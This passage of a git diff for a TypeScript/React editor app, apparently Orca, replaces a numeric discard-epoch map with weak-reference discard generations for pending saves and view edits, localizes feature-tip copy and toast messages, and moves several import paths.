 import { flushPendingEditorBuffer } from './editor-pending-flush'
 
@@ -14,7 +15,11 @@ export async function discardEditorBuffer(fileId: string): Promise<() => void> {
     return release
   }
   // Fence pending edits before flushing so intentional discards stay silent.
-  bumpEditorDiscardEpoch(editorBufferIdOfView(useAppStore.getState(), fileId))
+  const before = useAppStore.getState()
+  discardEditorGenerations(
+    editorBufferIdOfView(before, fileId),
+    editorBufferSiblingViewIds(before, fileId)
+  )
   try {
     flushPendingEditorBuffer(useAppStore.getState(), fileId)
   } catch (error) {
diff --git a/src/renderer/src/components/editor/save/flush/editor-discard-epoch.ts b/src/renderer/src/components/editor/save/flush/editor-discard-epoch.ts
index 0cac8e7f125..43e2c3244c3 100644
--- a/src/renderer/src/components/editor/save/flush/editor-discard-epoch.ts
+++ b/src/renderer/src/components/editor/save/flush/editor-discard-epoch.ts
@@ -1,13 +1,55 @@
-// Keyed by buffer record. Dirty state can be republished after a discard, so saves compare this.
-const epochs = new Map<string, number>()
+export type EditorDiscardGeneration = { discarded: boolean }
 
-export function editorDiscardEpoch(recordId: string): number {
-  return epochs.get(recordId) ?? 0
+// Pending work owns the generation; these weak lookups only let Don't Save reach it.
+function generationLookup() {
+  const generations = new Map<string, WeakRef<EditorDiscardGeneration>>()
+  const finalized = new FinalizationRegistry<{
+    key: string
+    reference: WeakRef<EditorDiscardGeneration>
+  }>(({ key, reference }) => {
+    if (generations.get(key) === reference) {
+      generations.delete(key)
+    }
+  })
+  return {
+    capture(key: string): EditorDiscardGeneration {
+      const current = generations.get(key)?.deref()
+      if (current) {
+        return current
+      }
+      const generation = { discarded: false }
+      const reference = new WeakRef(generation)
+      generations.set(key, reference)
+      finalized.register(generation, { key, reference })
+      return generation
+    },
+    discard(key: string): void {
+      const current = generations.get(key)?.deref()
+      if (current) {
+        current.discarded = true
+      }
+      generations.delete(key)
+    }
+  }
 }
 
-/** "Don't Save": every save requested before this writes nothing. */
-export function bumpEditorDiscardEpoch(recordId: string): void {
-  epochs.set(recordId, editorDiscardEpoch(recordId) + 1)
+const saves = generationLookup()
+const viewEdits = generationLookup()
+
+export function captureEditorDiscardGeneration(recordId: string): EditorDiscardGeneration {
+  return saves.capture(recordId)
+}
+
+export function captureEditorViewEditGeneration(viewId: string): EditorDiscardGeneration {
+  return viewEdits.capture(viewId)
+}
+
+/** "Don't Save": every operation captured before this writes nothing. */
+export function discardEditorGenerations(recordId: string, viewIds: readonly string[]): void {
+  saves.discard(recordId)
+  for (const viewId of viewIds) {
+    viewEdits.discard(viewId)
+  }
 }
 
 /** Thrown before sending a save that a discard voided while it waited on the host. */
diff --git a/src/renderer/src/components/editor/save/flush/editor-stale-view-edit.ts b/src/renderer/src/components/editor/save/flush/editor-stale-view-edit.ts
index 9cb3d672b04..762c83a4a23 100644
--- a/src/renderer/src/components/editor/save/flush/editor-stale-view-edit.ts
+++ b/src/renderer/src/components/editor/save/flush/editor-stale-view-edit.ts
@@ -1,12 +1,13 @@
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
-import { useAppStore } from '@/store/index'
-import { editorBufferIdOfView } from '@/store/slices/editor/buffers/editor-buffer-views'
-import { editorDiscardEpoch } from './editor-discard-epoch'
+import {
+  captureEditorViewEditGeneration,
+  type EditorDiscardGeneration
+} from './editor-discard-epoch'
 
 /** Snapshot when a delayed view edit starts; a Discard since then drops the edit silently. */
-export function staleViewEditEpoch(fileId: string): number {
-  return editorDiscardEpoch(editorBufferIdOfView(useAppStore.getState(), fileId))
+export function captureViewEditGeneration(fileId: string): EditorDiscardGeneration {
+  return captureEditorViewEditGeneration(fileId)
 }
 
 /** Focus moved outside the view, e.g. into another view of the same file, so its delayed edit must commit now. */
@@ -19,8 +20,8 @@ export function focusLeftView(event: {
 }
 
 /** A delayed view edit was dropped because the shared text changed after the edit began. */
-export function notifyStaleViewEditRejected(fileId: string, editEpoch: number): void {
-  if (staleViewEditEpoch(fileId) !== editEpoch) {
+export function notifyStaleViewEditRejected(generation: EditorDiscardGeneration | null): void {
+  if (generation?.discarded) {
     return
   }
   toast.error(
diff --git a/src/renderer/src/components/editor/save/queue/editor-save-queue.ts b/src/renderer/src/components/editor/save/queue/editor-save-queue.ts
index 282f898454b..b2376882b6c 100644
--- a/src/renderer/src/components/editor/save/queue/editor-save-queue.ts
+++ b/src/renderer/src/components/editor/save/queue/editor-save-queue.ts
@@ -47,7 +47,7 @@ import {
   captureEditorSaveRequest
 } from './editor-save-writer-view'
 import { createEditorSaveSlots, type EditorSaveRequest } from './editor-save-slots'
-import { EditorSaveDiscardedError, editorDiscardEpoch } from '../flush/editor-discard-epoch'
+import { EditorSaveDiscardedError } from '../flush/editor-discard-epoch'
 import { hasEditorBytesDraft, saveEditorBytesDraft } from '../bytes/editor-bytes-documents'
 import { insertFinalNewlineBeforeSave } from '../transforms/editor-final-newline'
 
@@ -103,8 +103,8 @@ export function createEditorSaveQueue(store: AppStoreApi): EditorSaveQueue {
     }
 
     const nothingToWrite = trigger === 'autosave' ? 'failed' : 'written'
-    // Check the queued record’s epoch before flushing discarded text; rejoined views may now have a different epoch.
-    const discarded = (): boolean => editorDiscardEpoch(request.recordId) !== request.discardEpoch
+    // Check the queued record’s generation before flushing discarded text; rejoined views may now have a different generation.
+    const discarded = (): boolean => request.discardGeneration.discarded
     if (discarded()) {
       return nothingToWrite
     }
diff --git a/src/renderer/src/components/editor/save/queue/editor-save-slots.ts b/src/renderer/src/components/editor/save/queue/editor-save-slots.ts
index 7b796312202..27adb95e21a 100644
--- a/src/renderer/src/components/editor/save/queue/editor-save-slots.ts
+++ b/src/renderer/src/components/editor/save/queue/editor-save-slots.ts
@@ -1,3 +1,4 @@
+import type { EditorDiscardGeneration } from '../flush/editor-discard-epoch'
 import type { acquireEditorFileOperation } from '@/lib/editor/file-operations/editor-file-operation-owner'
 import type { LocalFileAccess } from '../../../../../../shared/file-access/local-file-access'
 import type { EditorSaveResult, EditorSaveTrigger } from './editor-save-disk-precondition'
@@ -19,10 +20,10 @@ export type EditorSaveRequest = {
   requestedDirty: boolean
   /** Preserve the saving view's kind if a different view takes over. */
   requestedFromCodeView: boolean
-  /** The record the request was queued under; `discardEpoch` is its epoch then. */
+  /** The record the request was queued under; `discardGeneration` fences its pending work. */
   recordId: string
   /** A discard since the request voids it, whatever the trigger. */
-  discardEpoch: number
+  discardGeneration: EditorDiscardGeneration
 }
 
 type SaveSlot = {
@@ -56,8 +57,8 @@ export function createEditorSaveSlots(
     if (slot?.queued) {
       // Queued saves read live text, so subsequent requests can join the same write.
       const { request } = slot.queued
-      if (request.discardEpoch !== incoming.discardEpoch) {
-        // A discard invalidates the old request; retain the new request’s epoch and intent.
+      if (request.discardGeneration !== incoming.discardGeneration) {
+        // A discard invalidates the old request; retain the new request’s generation and intent.
         Object.assign(request, incoming)
         return slot.queued.promise
       }
diff --git a/src/renderer/src/components/editor/save/queue/editor-save-writer-view.ts b/src/renderer/src/components/editor/save/queue/editor-save-writer-view.ts
index 0e7e2edd4a5..285e73f4683 100644
--- a/src/renderer/src/components/editor/save/queue/editor-save-writer-view.ts
+++ b/src/renderer/src/components/editor/save/queue/editor-save-writer-view.ts
@@ -12,7 +12,7 @@ import {
 } from '@/store/slices/editor/buffers/editor-buffer-views'
 import { isCodeViewTab, type EditorSaveTrigger } from './editor-save-disk-precondition'
 import { canAutoSaveOpenFile } from '../../autosave/editor-autosave'
-import { editorDiscardEpoch } from '../flush/editor-discard-epoch'
+import { captureEditorDiscardGeneration } from '../flush/editor-discard-epoch'
 
 export function sameEditorSaveResource(state: AppState, source: OpenFile, view: OpenFile): boolean {
   const key = editorSaveResourceKey(source, state)
@@ -129,6 +129,6 @@ export function captureEditorSaveRequest(
     requestedDirty: state.openFiles.some((tab) => tab.id === captured.id && tab.isDirty),
     requestedFromCodeView: isCodeViewTab(state, captured),
     recordId,
-    discardEpoch: editorDiscardEpoch(recordId)
+    discardGeneration: captureEditorDiscardGeneration(recordId)
   }
 }
diff --git a/src/renderer/src/components/editor/save/transforms/editor-format-on-save.test.ts b/src/renderer/src/components/editor/save/transforms/editor-format-on-save.test.ts
index 34d8f382841..93930f49129 100644
--- a/src/renderer/src/components/editor/save/transforms/editor-format-on-save.test.ts
+++ b/src/renderer/src/components/editor/save/transforms/editor-format-on-save.test.ts
@@ -14,7 +14,7 @@ import { __clearSelfWriteRegistryForTests } from '../../external-changes/editor-
 import { registerPendingEditorFlush } from '../flush/editor-pending-flush'
 import { usePluginPanelsStore } from '@/store/plugins/catalog/plugin-contribution-catalog'
 
-import { bumpEditorDiscardEpoch, EditorSaveDiscardedError } from '../flush/editor-discard-epoch'
+import { discardEditorGenerations, EditorSaveDiscardedError } from '../flush/editor-discard-epoch'
 import { editorBufferIdOfView } from '@/store/slices/editor/buffers/editor-buffer-views'
 
 vi.mock('@/lib/workspace/ownership/connection-context', () => ({
@@ -156,7 +156,7 @@ describe('format on the guarded save path', () => {
     const saving = queue.queueSave(file(), 'one')
     const rejection = expect(saving).rejects.toBeInstanceOf(EditorSaveDiscardedError)
     await vi.waitFor(() => expect(callRuntimeRpc).toHaveBeenCalledOnce())
-    bumpEditorDiscardEpoch(editorBufferIdOfView(store.getState(), file().id))
+    discardEditorGenerations(editorBufferIdOfView(store.getState(), file().id), [file().id])
     finish({ kind: 'formatted', text: 'ONE' })
     await rejection
     expect(disk.files.get('/repo/a.ts')).toBe('')
diff --git a/src/renderer/src/components/editor/save/transforms/editor-save-transform-pipeline.ts b/src/renderer/src/components/editor/save/transforms/editor-save-transform-pipeline.ts
index 53516666e4e..2bfae4253aa 100644
--- a/src/renderer/src/components/editor/save/transforms/editor-save-transform-pipeline.ts
+++ b/src/renderer/src/components/editor/save/transforms/editor-save-transform-pipeline.ts
@@ -1,7 +1,7 @@
 import type { OpenFile } from '@/store/slices/editor/types/open-file'
 import type { AppStoreApi } from '../queue/editor-save-queue-contract'
 import type { EditorSaveRequest } from '../queue/editor-save-slots'
-import { EditorSaveDiscardedError, editorDiscardEpoch } from '../flush/editor-discard-epoch'
+import { EditorSaveDiscardedError } from '../flush/editor-discard-epoch'
 import { editorFormatOnSave } from './editor-format-on-save'
 import { editorSavePluginHook } from './editor-save-plugin-hook'
 
@@ -23,7 +23,7 @@ export function editorSaveTransform(
     text,
     () => {
       operation.assertAuthorityCurrent()
-      if (editorDiscardEpoch(request.recordId) !== request.discardEpoch) {
+      if (request.discardGeneration.discarded) {
         throw new EditorSaveDiscardedError()
       }
     }
diff --git a/src/renderer/src/components/editor/use-editor-group-file-drop-owner.ts b/src/renderer/src/components/editor/use-editor-group-file-drop-owner.ts
index 4c409c336fb..b803d1f5010 100644
--- a/src/renderer/src/components/editor/use-editor-group-file-drop-owner.ts
+++ b/src/renderer/src/components/editor/use-editor-group-file-drop-owner.ts
@@ -12,7 +12,7 @@ import {
   readWorkspaceFileDragSource,
   getWorkspaceFileDragRejectionMessage
 } from '@/lib/files/drop/workspace-file-drag'
-import { FILE_OWNER_UNRESOLVED_MESSAGE } from '@/lib/files/access/file-owner-runtime-target'
+import { fileOwnerUnresolvedMessage } from '@/lib/files/access/file-owner-runtime-target'
 import { getNativeFileDropRejectionMessage } from '@/lib/files/drop/native-file-drop-rejection-message'
 import { captureEditorFileDropOpen, editorGroupStillExists } from './editor-dropped-file-open'
 
@@ -110,7 +110,7 @@ export function useEditorGroupFileDropOwner({
         }
         const source = readWorkspaceFileDragSource(event.dataTransfer)
         if (!source) {
-          toast.error(FILE_OWNER_UNRESOLVED_MESSAGE)
+          toast.error(fileOwnerUnresolvedMessage())
           return
         }
         const open = captureEditorFileDropOpen({ worktreeId, groupId }, source)
diff --git a/src/renderer/src/components/emulator-pane/use-mobile-emulator-agent-setup-state.ts b/src/renderer/src/components/emulator-pane/use-mobile-emulator-agent-setup-state.ts
index 3cb21bdb569..7faa4d64b0c 100644
--- a/src/renderer/src/components/emulator-pane/use-mobile-emulator-agent-setup-state.ts
+++ b/src/renderer/src/components/emulator-pane/use-mobile-emulator-agent-setup-state.ts
@@ -8,6 +8,7 @@ import {
 } from '@/hooks/skills/discovery/useInstalledAgentSkills'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { translate } from '@/i18n/i18n'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 
 // Why: Orca terminals already provide the `orca` command, so agent control only needs the skill.
 export function useMobileEmulatorAgentSetupState(enabled = true): {
@@ -77,7 +78,7 @@ export function useMobileEmulatorAgentSetupState(enabled = true): {
       if (mountedRef.current) {
         toast.error(
           error instanceof Error
-            ? error.message
+            ? formatCliUserFacingDetail(error.message) || error.message
             : translate(
                 'auto.components.emulator.pane.use.mobile.emulator.agent.setup.state.c94ff11e91',
                 'Could not re-check setup status.'
diff --git a/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx b/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx
index 3b4ce1502c2..fd7531cd7ac 100644
--- a/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx
+++ b/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx
@@ -5,7 +5,7 @@ import {
   ORCHESTRATION_ENABLED_STORAGE_KEY,
   ORCHESTRATION_SETUP_DISMISSED_STORAGE_KEY,
   notifyOrchestrationSetupStateChanged
-} from '@/lib/orchestration-setup-state'
+} from '@/components/orchestration/setup/orchestration-setup-state'
 import { useAppStore } from '@/store/index'
 import { ChatUiHereTipDialog } from './ChatUiHereTipDialog'
 import {
@@ -16,6 +16,7 @@ import { CliSetupTipDialog } from './CliSetupTipDialog'
 import { CmdJPaletteTipDialog } from './CmdJPaletteTipDialog'
 import { installCliFromFeatureTip } from './feature-tip-cli-install-action'
 import { getFeatureTipForModal } from './feature-tip-modal-state'
+import { localizeFeatureTip } from './feature-tip-copy'
 import {
   getOrcaCliFeatureTipTelemetrySource,
   trackChatUiFeatureTipAction,
@@ -26,6 +27,7 @@ import {
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 import { useTranslate } from '@/i18n/use-translate'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 import { SessionSearchTipDialog } from './SessionSearchTipDialog'
 import { useSessionSearchTipSetup } from './use-session-search-tip-setup'
 import { VoiceDictationTipDialog } from './VoiceDictationTipDialog'
@@ -50,7 +52,7 @@ export default function FeatureTipsModal(): JSX.Element | null {
   const [primaryBusy, setPrimaryBusy] = useState(false)
   const [skillTerminalOpen, setSkillTerminalOpen] = useState(false)
   const isOpen = activeModal === 'feature-tips'
-  const currentTip = getFeatureTipForModal({
+  const rawTip = getFeatureTipForModal({
     cliInstalled: true,
     modalData,
     seenTipIds,
@@ -59,6 +61,7 @@ export default function FeatureTipsModal(): JSX.Element | null {
     settings,
     webClient: isWebClientLocation()
   })
+  const currentTip = rawTip ? localizeFeatureTip(rawTip) : null
   const sessionSearchSetup = useSessionSearchTipSetup({
     dialogOpen: isOpen && currentTip?.id === 'agent-session-search'
   })
@@ -234,7 +237,7 @@ export default function FeatureTipsModal(): JSX.Element | null {
             ),
             {
               description:
-                result.status.detail ??
+                formatCliUserFacingDetail(result.status.detail) ||
                 t(
                   'auto.components.feature.tips.FeatureTipsModal.d1a86c7eb5',
                   'Open Settings to finish CLI setup.'
@@ -272,7 +275,7 @@ export default function FeatureTipsModal(): JSX.Element | null {
 
           trackOrcaCliFeatureTipSetupResult(telemetrySource, 'failed')
           if (canApplySetupResult()) {
-            toast.error(message)
+            toast.error(formatCliUserFacingDetail(message) || message)
           }
         } finally {
           if (canApplySetupResult()) {
diff --git a/src/renderer/src/components/feature-tips/feature-tip-copy.ts b/src/renderer/src/components/feature-tips/feature-tip-copy.ts
new file mode 100644
index 00000000000..770d61d5dd5
--- /dev/null
+++ b/src/renderer/src/components/feature-tips/feature-tip-copy.ts
@@ -0,0 +1,101 @@
+import type { FeatureTip, FeatureTipId } from '../../../../shared/feature-tips'
+import { translate } from '@/i18n/i18n'
+
+const FEATURE_TIP_COPY: Record<
+  FeatureTipId,
+  {
+    eyebrow: () => string
+    title: () => string
+    description: () => string
+    ctaLabel: () => string
+  }
+> = {
+  'chat-ui-here': {
+    eyebrow: () => translate('auto.components.feature.tips.feature.tip.copy.1fcdfc5fe8', 'New'),
+    title: () => translate('featureTips.chatUiHere.title', 'Chat UI is here'),
+    description: () =>
+      translate(
+        'featureTips.chatUiHere.offIntro',
+        'Agents can now open as a chat, with rich messages, visuals and images.'
+      ),
+    ctaLabel: () => translate('featureTips.chatUiHere.cta', 'Use Chat UI')
+  },
+  'agent-session-search': {
+    eyebrow: () => translate('auto.components.feature.tips.feature.tip.copy.1fcdfc5fe8', 'New'),
+    title: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.f98e9d1bad',
+        'Search every agent session'
+      ),
+    description: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.990cc29865',
+        'Find any past conversation by what was said in it, then pick up where the agent left off.'
+      ),
+    ctaLabel: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.91e2719807',
+        'Turn on session search'
+      )
+  },
+  'orca-cli': {
+    eyebrow: () => translate('auto.components.feature.tips.feature.tip.copy.52e9e84809', 'Tip'),
+    title: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.3eacedec93',
+        'Let agents drive Orca with the Orca CLI'
+      ),
+    description: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.8d54d0ff53',
+        'Enable agents to coordinate child worktrees and communicate between worktrees.'
+      ),
+    ctaLabel: () =>
+      translate('auto.components.feature.tips.feature.tip.copy.0080bc86eb', 'Install CLI & Skills')
+  },
+  'cmd-j-palette': {
+    eyebrow: () => translate('auto.components.feature.tips.feature.tip.copy.52e9e84809', 'Tip'),
+    // Keep "<shortcut>" so CmdJPaletteTipDialog can inline the live keybinding.
+    title: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.9b58bc5d7a',
+        'Jump to a worktree with <shortcut>'
+      ),
+    description: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.655fc3cb5a',
+        'Search worktrees, switch tabs, tweak settings, or spin up a new worktree, all without leaving the keyboard.'
+      ),
+    ctaLabel: () => translate('auto.components.feature.tips.feature.tip.copy.eb5e9e90ec', 'Got it')
+  },
+  'voice-dictation': {
+    eyebrow: () => translate('auto.components.feature.tips.feature.tip.copy.52e9e84809', 'Tip'),
+    title: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.5221facada',
+        'Dictate into any pane'
+      ),
+    description: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.5d69275490',
+        'Start voice dictation in any focused pane, then use the shortcut again to stop.'
+      ),
+    ctaLabel: () =>
+      translate(
+        'auto.components.feature.tips.feature.tip.copy.24aaad376f',
+        'Set up voice dictation'
+      )
+  }
+}
+
+/** Map shared English feature-tip catalog fields to the active UI locale. */
+export function localizeFeatureTip(tip: FeatureTip): FeatureTip {
+  const copy = FEATURE_TIP_COPY[tip.id]
+  return {
+    ...tip,
+    eyebrow: copy.eyebrow(),
+    title: copy.title(),
+    description: copy.description(),
+    ctaLabel: copy.ctaLabel()
+  }
+}
diff --git a/src/renderer/src/components/feature-wall/FeatureWallBrowserAction.tsx b/src/renderer/src/components/feature-wall/FeatureWallBrowserAction.tsx
index f7c96eec088..fe369f2c93e 100644
--- a/src/renderer/src/components/feature-wall/FeatureWallBrowserAction.tsx
+++ b/src/renderer/src/components/feature-wall/FeatureWallBrowserAction.tsx
@@ -5,7 +5,6 @@ import { useOnboardingSkillRuntime } from '@/hooks/skills/runtime/use-onboarding
 import { FeatureSetupInlineTerminal } from '../onboarding/FeatureSetupInlineTerminal'
 import { buildAgentFeatureSkillInstallCommand } from '@/lib/skills/installation/agent-feature-install-commands'
 import { buildSkillCommandForRuntime } from '../../lib/skills/runtime/skill-runtime-command'
-import type { OnboardingFeatureSetupRuntimeContext } from '../onboarding/onboarding-feature-setup-runtime'
 import { useCallback, useState } from 'react'
 import { ArrowUpRight, Download, Loader2 } from 'lucide-react'
 import { toast } from 'sonner'
@@ -22,14 +21,15 @@ import {
 import { BundledSkillInstallStatus } from '../skills/setup/BundledSkillInstallStatus'
 import {
   onboardingFeatureSetupRunTelemetry,
-  runOnboardingFeatureSetup,
-  type OnboardingFeatureSetupSelection
+  runOnboardingFeatureSetup
 } from '../onboarding/onboarding-feature-setup'
+import type { OnboardingFeatureSetupSelection } from '../onboarding/onboarding-feature-setup'
 import {
   promptForSetupGuideProject,
   useSetupTargetWorktree
 } from './FeatureWallSetupWorkflowActions'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
+import type { OnboardingFeatureSetupRuntimeContext } from '../onboarding/onboarding-feature-setup-runtime'
 
 export function BrowserAction(props: { done: boolean }): React.JSX.Element {
   const t = useTranslate()
diff --git a/src/renderer/src/components/feature-wall/ReviewPRViewAnimatedVisual.tsx b/src/renderer/src/components/feature-wall/ReviewPRViewAnimatedVisual.tsx
index bcff59627d9..128ba09ac3f 100644
--- a/src/renderer/src/components/feature-wall/ReviewPRViewAnimatedVisual.tsx
+++ b/src/renderer/src/components/feature-wall/ReviewPRViewAnimatedVisual.tsx
@@ -2,6 +2,7 @@ import { useRef } from 'react'
 import type { ComponentType, JSX, ReactNode } from 'react'
 import { Files, GitBranch, ListChecks, MessageSquare, Search } from 'lucide-react'
 import { useShortcutLabel } from '@/hooks/useShortcutLabel'
+import { isUnassignedShortcutLabel } from '@/i18n/unassigned-label'
 import { ReviewPRViewVisualStyles } from './review-animated-visual-pr-view-styles'
 import { CheckTinyIcon, ChevDownIcon, CursorIcon } from './review-animated-visual-shared'
 import { useReviewPrViewAnimation } from './review-pr-view-animation'
@@ -59,8 +60,9 @@ const SIDEBAR_TABS: readonly {
 
 function SidebarTabs(props: { active: SidebarTabId; interactiveChecks?: boolean }): JSX.Element {
   const checksShortcutLabel = useShortcutLabel('sidebar.checks.toggle')
-  const checksTooltip =
-    checksShortcutLabel === 'Unassigned' ? 'Checks' : `Checks (${checksShortcutLabel})`
+  const checksTooltip = isUnassignedShortcutLabel(checksShortcutLabel)
+    ? 'Checks'
+    : `Checks (${checksShortcutLabel})`
 
   return (
     <div className="ravpr-tabs">
diff --git a/src/renderer/src/components/feature-wall/use-feature-wall-task-source-presentation.ts b/src/renderer/src/components/feature-wall/use-feature-wall-task-source-presentation.ts
index b927c969e98..075ee1243b8 100644
--- a/src/renderer/src/components/feature-wall/use-feature-wall-task-source-presentation.ts
+++ b/src/renderer/src/components/feature-wall/use-feature-wall-task-source-presentation.ts
@@ -1,9 +1,10 @@
 import { useEffect } from 'react'
-import type { FeatureWallWorkflow } from '../../../../shared/feature-wall-workflows'
-import { useAppStore } from '@/store'
-import { getLocalPreflightContext, localPreflightContextKey } from '@/lib/local-preflight-context'
+import { useAppStore } from '@/store/index'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
 import { deriveIntegrationConnectionStatus } from './use-integration-connection-status'
+import type { FeatureWallWorkflow } from '../../../../shared/feature-wall-workflows'
+import { localPreflightContextKey } from '../../runtime/hosts/preflight/local-preflight-context-key'
 
 export type FeatureWallTaskSourcePresentation = {
   workflow: FeatureWallWorkflow
diff --git a/src/renderer/src/components/feature-wall/use-integration-connection-status.ts b/src/renderer/src/components/feature-wall/use-integration-connection-status.ts
index 39b9eee1736..8aaedf5efa1 100644
--- a/src/renderer/src/components/feature-wall/use-integration-connection-status.ts
+++ b/src/renderer/src/components/feature-wall/use-integration-connection-status.ts
@@ -1,6 +1,7 @@
-import { useAppStore } from '@/store'
-import { getLocalPreflightContext, localPreflightContextKey } from '@/lib/local-preflight-context'
+import { useAppStore } from '@/store/index'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
+import { localPreflightContextKey } from '../../runtime/hosts/preflight/local-preflight-context-key'
 
 export type IntegrationStepState = 'active' | 'done' | 'upcoming'
 
diff --git a/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx b/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx
index cccb6558352..9eab191f6d4 100644
--- a/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx
+++ b/src/renderer/src/components/floating-terminal/FloatingTerminalPanelSurface.tsx
@@ -3,7 +3,7 @@ import { TabGroupSplitNodeTree } from '@/components/tab-group/TabGroupSplitNodeT
 import { WorkspaceTabDragLayer } from '@/components/tab-group/WorkspaceTabDragLayer'
 import { WorkspacePaneOverlayLayers } from '@/components/WorkspacePaneOverlayLayers'
 import { isTerminalImeInputContextRefreshing } from '@/components/terminal-pane/input/ime/terminal-ime-input-context-refresh'
-import { buildDuplicatedBrowserTabOptions } from '@/lib/duplicate-browser-tab-options'
+import { buildDuplicatedBrowserTabOptions } from '@/lib/browser/workspace/duplicate-browser-tab-options'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
 import { FloatingTerminalEmptyState } from './FloatingTerminalEmptyState'
 import { renderFloatingTerminalOrchestrationCard } from './FloatingTerminalOrchestrationCard'
diff --git a/src/renderer/src/components/floating-terminal/floating-workspace-tab-creation.ts b/src/renderer/src/components/floating-terminal/floating-workspace-tab-creation.ts
index 37009a22a4e..95e79de813c 100644
--- a/src/renderer/src/components/floating-terminal/floating-workspace-tab-creation.ts
+++ b/src/renderer/src/components/floating-terminal/floating-workspace-tab-creation.ts
@@ -2,11 +2,11 @@ import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
 import { createUntitledMarkdownFileWithTemplateSelection } from '../../lib/editor/file-operations/create-untitled-markdown'
 import { getConnectionId } from '../../lib/workspace/ownership/connection-context'
 import { detectLanguage } from '../../../../shared/editor-language/editor-language-detect'
-import type { AppState } from '@/store/types'
 import { focusTerminalTabSurface } from '../terminal-pane/input/focus/focus-terminal-tab-surface'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
 import { translate } from '@/i18n/i18n'
-import { assertClientCreationActionAvailable } from '../../lib/client-creation-action-policy'
+import { assertClientCreationActionAvailable } from '../../lib/workspace/creation/surface-policy/client-creation-action-policy'
+import type { AppState } from '@/store/types'
 
 type FloatingWorkspaceTerminalStore = Pick<AppState, 'activeGroupIdByWorktree' | 'createTab'>
 
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-create-actions.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-create-actions.ts
index b69f668cf45..235a6b46a18 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-create-actions.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-create-actions.ts
@@ -3,7 +3,7 @@ import { toast } from 'sonner'
 import { resolveGroupTabFromVisibleId } from '@/components/tab-group/tab-group-visible-id'
 import { getConnectionId } from '@/lib/workspace/ownership/connection-context'
 import { createUntitledMarkdownFileWithTemplateSelection } from '@/lib/editor/file-operations/create-untitled-markdown'
-import { ensureClientCreationActionAllowed } from '@/lib/client-creation-action-error'
+import { ensureClientCreationActionAllowed } from '@/lib/workspace/creation/surface-policy/client-creation-action-error'
 import { openDocumentInFloatingWorkspace } from '@/components/floating-terminal/open-document-in-floating-workspace'
 import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
 import { focusTerminalTabSurface } from '@/components/terminal-pane/input/focus/focus-terminal-tab-surface'
@@ -111,7 +111,15 @@ export function useFloatingTerminalCreateActions({
           suppressActiveRuntimeFallback: true
         })
       } catch (error) {
-        toast.error(extractIpcErrorMessage(error, 'Failed to create untitled markdown file.'))
+        toast.error(
+          extractIpcErrorMessage(
+            error,
+            translate(
+              'components.toastFallbacks.markdownCreateFailed',
+              'Failed to create untitled markdown file.'
+            )
+          )
+        )
       }
     })()
   }, [activeGroup, markdownCwd, openFile])
@@ -127,7 +135,15 @@ export function useFloatingTerminalCreateActions({
           targetGroupId: activeGroup?.id
         })
       } catch (error) {
-        toast.error(extractIpcErrorMessage(error, 'Failed to open markdown file.'))
+        toast.error(
+          extractIpcErrorMessage(
+            error,
+            translate(
+              'components.toastFallbacks.markdownOpenFailed',
+              'Failed to open markdown file.'
+            )
+          )
+        )
       }
     })()
   }, [activeGroup, openFile])
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-dismissal.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-dismissal.ts
index f585766aa9c..abb6924d8b0 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-dismissal.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-dismissal.ts
@@ -2,7 +2,7 @@ import { useCallback } from 'react'
 import {
   ORCHESTRATION_SETUP_DISMISSED_STORAGE_KEY,
   notifyOrchestrationSetupStateChanged
-} from '@/lib/orchestration-setup-state'
+} from '@/components/orchestration/setup/orchestration-setup-state'
 import type { FloatingTerminalPanelLocalState } from './use-floating-terminal-panel-local-state'
 
 export function useFloatingTerminalOrchestrationDismissal({
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-visibility.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-visibility.ts
index dd730267828..2d149f8af44 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-visibility.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-orchestration-visibility.ts
@@ -2,9 +2,9 @@ import { useCallback, useEffect } from 'react'
